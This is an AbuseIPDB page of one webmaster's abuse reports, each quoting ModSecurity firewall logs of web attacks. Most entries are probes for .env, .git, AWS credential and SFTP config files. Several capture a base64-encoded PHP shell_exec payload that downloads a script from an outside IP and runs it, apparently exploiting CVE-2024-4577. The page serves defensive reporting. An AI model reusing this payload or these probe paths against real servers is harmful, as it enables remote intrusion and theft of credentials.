AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User subnetprotocol , the webmaster of subnetprotocol.com, joined AbuseIPDB in October 2024 and has reported 8,544 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇩🇪 194.55.12.125	13 May 2025	13/May/2025:11:22:20.150442 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:11:22:20.150442 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 194.55.12.125] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\\(,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\\)?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack
🇫🇷 154.83.103.115	13 May 2025	13/May/2025:11:05:10.194307 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:11:05:10.194307 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 154.83.103.115] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mibackend.mignonne.com"] [uri "/.git/HEAD"] [unique_id "aCMLRmyCE00yuTRlg569ogAABcw"] 13/May/2025:11:05:16.048095 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 154.83.103.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUE ... show less	Hacking Web App Attack
🇬🇧 78.153.140.222	13 May 2025	13/May/2025:10:56:24.038706 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:10:56:24.038706 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 78.153.140.222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vigie.ovh"] [uri "/.env"] [unique_id "aCMJOCoP3mBdwYNqpIZ8SwAAA4k"] 13/May/2025:10:56:24.144650 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 78.153.140.222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇳🇱 93.123.109.228	13 May 2025	13/May/2025:10:39:20.490065 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:10:39:20.490065 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.133"] [uri "/.env.bak"] [unique_id "aCMFOJCBBjcH69vk6_B_7wAAAos"] 13/May/2025:10:39:20.728329 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.228] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLI ... show less	Hacking Web App Attack
🇺🇸 20.84.145.58	13 May 2025	13/May/2025:08:49:41.594104 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:08:49:41.594104 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.84.145.58] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.45.16"] [uri "/"] [unique_id "aCLrhcEwdQbd2cLmg4i16wAAAc0"] 13/May/2025:08:49:53.257645 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.84.145.58] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apach ... show less	Hacking Web App Attack
🇳🇱 93.123.109.231	13 May 2025	13/May/2025:07:36:54.623357 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:07:36:54.623357 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /project/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.40.96"] [uri "/project/.git/config"] [unique_id "aCLadgnpHWkVNt00odt05wAACQ0"] 13/May/2025:07:36:55.011917 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/ ... show less	Hacking Web App Attack
🇱🇺 107.189.14.4	13 May 2025	13/May/2025:07:32:04.047312 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:07:32:04.047312 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 107.189.14.4] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.mignonne.com"] [uri "/.env"] [unique_id "aCLZU2ZQnyfa6fJKJUnw0QAAAoo"] 13/May/2025:07:32:04.425893 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 107.189.14.4] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATT ... show less	Hacking Web App Attack
🇺🇸 20.98.140.180	13 May 2025	13/May/2025:07:28:28.263420 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:07:28:28.263420 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.98.140.180] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.1.133"] [uri "/owa/auth/x.js"] [unique_id "aCLYfKh07brmUAW1RSdCfwAAAJg"] 13/May/2025:07:28:37.624292 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.98.140.180] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [f ... show less	Hacking Web App Attack
🇺🇸 64.225.57.157	13 May 2025	13/May/2025:06:48:48.007336 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:06:48:48.007336 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 64.225.57.157] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\\(,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\\)?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack
🇳🇱 196.251.73.140	13 May 2025	13/May/2025:06:12:48.192879 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:06:12:48.192879 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.env"] [unique_id "aCLGwChxF_rmrUezoEUfugAAA48"] 13/May/2025:06:12:49.858977 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇳🇱 93.123.109.231	13 May 2025	13/May/2025:04:32:25.167196 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:04:32:25.167196 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.133"] [uri "/.env.dist"] [unique_id "aCKvOdBY0Z8aXtPHVwSUMwAABwA"] 13/May/2025:04:32:25.207639 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPL ... show less	Hacking Web App Attack
🇳🇱 93.123.109.228	13 May 2025	13/May/2025:04:08:09.649857 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:04:08:09.649857 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.228] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.aws/credentials"] [unique_id "aCKpid5eOonb25khm5kgogAAAAc"] 13/May/2025:04:08:09.714711 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_c ... show less	Hacking Web App Attack
🇺🇸 34.30.239.72	13 May 2025	13/May/2025:03:12:04.101498 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:03:12:04.101498 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.30.239.72] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\\(,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\\)?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id ... show less	Hacking Web App Attack
🇳🇱 93.123.109.230	12 May 2025	13/May/2025:01:44:18.578397 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:01:44:18.578397 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.git/config"] [unique_id "aCKH0v2D-HrdA-eCwLnwhwAAAdY"] 13/May/2025:01:44:18.650805 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.230] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-9 ... show less	Hacking Web App Attack
🇳🇱 93.123.109.231	12 May 2025	13/May/2025:01:09:38.012901 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:01:09:38.012901 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "51.159.22.164"] [uri "/.env.dev"] [unique_id "aCJ_sg3PBmbEdjCojCMcAgAABY4"] 13/May/2025:01:09:40.692354 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLIC ... show less	Hacking Web App Attack
🇨🇭 179.43.152.115	12 May 2025	13/May/2025:00:41:29.213736 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 13/May/2025:00:41:29.213736 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 179.43.152.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "51.159.22.164"] [uri "/.env.backup"] [unique_id "aCJ5GZIULf0bs-mecLQaeQAAA5c"] 13/May/2025:00:41:29.249860 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 179.43.152.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930- ... show less	Hacking Web App Attack
🇺🇸 74.235.100.195	12 May 2025	12/May/2025:23:54:29.081319 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:23:54:29.081319 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 74.235.100.195] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.45.16"] [uri "/developmentserver/metadatauploader"] [unique_id "aCJuFdd71XigHsj-U665VwAACcU"] 12/May/2025:23:54:35.782402 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 74.235.100.195] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST ... show less	Hacking Web App Attack
🇻🇳 160.250.132.153	12 May 2025	12/May/2025:22:23:29.128280 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:22:23:29.128280 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 160.250.132.153] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mignonne.com"] [uri "/sftp-config.json"] [unique_id "aCJYwCRWHYxGr_54-vCs9AAACoc"] 12/May/2025:22:23:29.549081 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 160.250.132.153] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/ ... show less	Hacking Web App Attack
🇳🇱 196.251.80.2	12 May 2025	12/May/2025:21:07:43.021644 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:21:07:43.021644 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.80.2] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.0.235"] [uri "/.env"] [unique_id "aCJG_1GkOVJ-1Jg5ZxOJWwAABhI"] 12/May/2025:21:07:44.687098 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.80.2] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK ... show less	Hacking Web App Attack
🇺🇸 20.221.71.226	12 May 2025	12/May/2025:20:25:44.516085 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:20:25:44.516085 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.221.71.226] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.45.16"] [uri "/owa/auth/logon.aspx"] [unique_id "aCI9KBLBKOarez7C0ccBZAAACAI"] 12/May/2025:20:25:56.895720 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.221.71.226] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Age ... show less	Hacking Web App Attack
🇩🇪 194.55.12.125	12 May 2025	12/May/2025:19:35:30.790090 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:19:35:30.790090 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 194.55.12.125] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\\(,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\\)?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack
